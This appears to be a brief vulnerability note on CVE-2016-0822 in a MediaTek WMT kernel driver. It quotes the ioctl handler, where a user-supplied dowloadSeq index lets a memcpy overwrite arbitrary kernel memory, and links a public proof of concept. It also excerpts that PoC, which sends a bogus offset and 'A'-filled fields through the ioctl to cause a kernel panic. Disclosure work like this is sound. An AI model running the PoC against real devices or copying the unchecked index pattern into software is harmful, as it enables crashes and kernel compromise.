//mediatek/kernel/drivers/combo/common/core/include/wmt_lib.h
typedef struct {
UINT32 dowloadSeq;
UCHAR addRess[4];
UCHAR patchName[256];
}WMT_PATCH_INFO,*P_WMT_PATCH_INFO;
VOID wmt_lib_set_patch_num(unsigned long num)
{
P_DEV_WMT pWmtDev = &gDevWmt;
pWmtDev->patchNum = num;
}
ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);
case WMT_IOCTL_SET_PATCH_INFO:{
...
if (copy_from_user(&wMtPatchInfo, (void *)arg, sizeof(WMT_PATCH_INFO))) {
WMT_ERR_FUNC("copy_from_user failed at %d\n", __LINE__);
iRet = -EFAULT;
break;
}
...
dWloadSeq = wMtPatchInfo.dowloadSeq;
//arbitrary memory overwrite. user can control dowloadSeq
osal_memcpy(pPatchInfo + dWloadSeq - 1, &wMtPatchInfo,
sizeof(WMT_PATCH_INFO));
CVE-2016-0822 PoC :
https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-0822-mtk.c
/* set some absurd offset, in hopes of causing panic or GPF */
overflow.dowloadSeq = 0x31337;
/* set obvious bogus data into data fields.
* If I had exploitation skills these would contain pointers to userland!
*/
memset(&overflow.addRess, 'A', 4);
memset(&overflow.patchName, 'A', 256);
ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);